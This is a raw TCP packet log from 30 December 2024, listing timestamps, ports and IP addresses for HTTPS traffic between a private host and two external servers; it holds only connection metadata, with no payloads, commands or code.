Dec 30, 2024 09:18:12.149743080 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.149804115 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.149811983 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.149859905 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.150007963 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.150027037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.150068998 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.150074959 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.150089979 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.150099993 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.150114059 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.150115013 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.150127888 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.150146961 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.150185108 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.152520895 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.152535915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.152604103 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.152611017 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.152652025 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.152877092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.152893066 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.152935982 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.152941942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.152990103 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.153405905 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.153420925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.153465986 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.153472900 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.153506994 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.153522968 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.226385117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.226411104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.226469040 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.226491928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.226516008 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.226527929 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.230634928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.230652094 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.230705976 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.230714083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.230741978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.230762959 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.231448889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.231465101 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.231508970 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.231517076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.231544018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.231568098 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.231678963 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.231694937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.231729031 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.231734991 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.231762886 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.231782913 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.233427048 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.233442068 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.233475924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.233480930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.233525991 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.235971928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.235989094 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.236054897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.236062050 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.236145973 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.236589909 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.236607075 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.236640930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.236669064 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.236680984 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.236699104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.236710072 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.236748934 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.311064005 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.311085939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.311141968 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.311171055 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.311186075 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.311429977 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.315145016 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.315165043 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.315239906 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.315248013 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.315372944 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.315890074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.315908909 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.315973043 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.315993071 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.316049099 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.316062927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.316071987 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.316090107 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.316102028 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.316137075 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.317892075 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.317910910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.317956924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.317962885 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.318001032 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.318015099 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.320359945 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320380926 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320444107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.320450068 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320492029 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.320538044 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320554972 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320601940 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.320607901 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320655107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.320871115 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320889950 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320925951 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.320931911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.320955992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.320977926 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.395252943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.395275116 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.395334005 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.395353079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.395376921 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.395392895 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.399607897 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.399632931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.399708986 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.399717093 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.399751902 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.400333881 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.400352955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.400397062 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.400403976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.400533915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.400557041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.400587082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.400593042 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.400619984 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.400644064 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.402364016 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.402383089 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.402436018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.402442932 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.402487040 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.404854059 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.404875040 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.404927969 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.404933929 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.404963017 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.404980898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.405069113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.405083895 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.405128956 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.405134916 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.405160904 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.405174017 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.405292988 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.405309916 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.405345917 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.405352116 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.405376911 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.405400991 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.479798079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.479846954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.479912996 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.479937077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.479954004 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.479957104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.479979992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.480271101 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.483582973 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:19:23.390877008 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:23.390887976 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:23.390961885 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:23.391840935 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:23.391850948 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:23.829914093 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:23.830003023 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:23.831682920 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:23.831690073 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:23.831913948 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:23.873650074 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:23.873681068 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:23.873714924 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.289218903 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.289303064 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.289352894 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.292109013 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.292118073 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.292129040 CET	49916	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.292135954 CET	443	49916	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.307151079 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.307187080 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.307241917 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.307492018 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.307507992 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.744976997 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.745173931 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.905050993 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.905069113 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.905303955 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:24.907002926 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.907020092 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:24.907078981 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342335939 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342407942 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342437029 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342473984 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342477083 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.342489004 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342524052 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.342526913 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342559099 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342586040 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342602015 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.342617989 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.342629910 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.343185902 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.343236923 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.343249083 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.424596071 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.424629927 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.424657106 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.424665928 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.424676895 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.424710989 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.424773932 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.424829960 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.424984932 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.425008059 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.425055981 CET	49922	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.425070047 CET	443	49922	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.547032118 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.547090054 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.547265053 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.547728062 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.547743082 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.981690884 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.981846094 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.983062983 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.983073950 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.983280897 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.986938000 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.987068892 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.987112999 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:25.989835978 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:25.989847898 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.529170990 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.529248953 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.529392004 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.529438019 CET	49930	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.529453993 CET	443	49930	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.549539089 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.549573898 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.549655914 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.549902916 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.549921036 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.985646963 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.985740900 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.992559910 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.992588043 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.992786884 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:26.995743990 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.996046066 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:26.996082067 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:27.468041897 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:27.468127966 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:27.468209982 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:27.558363914 CET	49940	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:27.558386087 CET	443	49940	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:27.662437916 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:27.662473917 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:27.662715912 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:27.663242102 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:27.663258076 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.097337008 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.097403049 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.098831892 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.098841906 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.099051952 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.100281000 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.100446939 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.100478888 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.100528002 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.100528002 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.100538969 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.143337011 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.664830923 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.664920092 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.665013075 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.665216923 CET	49947	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.665231943 CET	443	49947	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.747687101 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.747725010 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:28.747827053 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.748128891 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:28.748136044 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:29.202158928 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:29.202230930 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:29.203438044 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:29.203444958 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:29.203653097 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:29.206981897 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:29.207079887 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:29.207086086 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:29.612770081 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:29.612890959 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:29.613852024 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:29.615497112 CET	49956	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:29.615520954 CET	443	49956	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.127115011 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.127127886 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.127211094 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.127458096 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.127470016 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.566009998 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.566082954 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.567302942 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.567307949 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.567542076 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.568804979 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.569592953 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.569629908 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.569758892 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.569793940 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.569911957 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.569955111 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.570103884 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.570131063 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.570280075 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.570310116 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.570497036 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.570527077 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.570534945 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.570818901 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.570849895 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.580055952 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.580291986 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.580322027 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.580351114 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.580364943 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.580486059 CET	49965	443	192.168.2.4	104.21.84.241
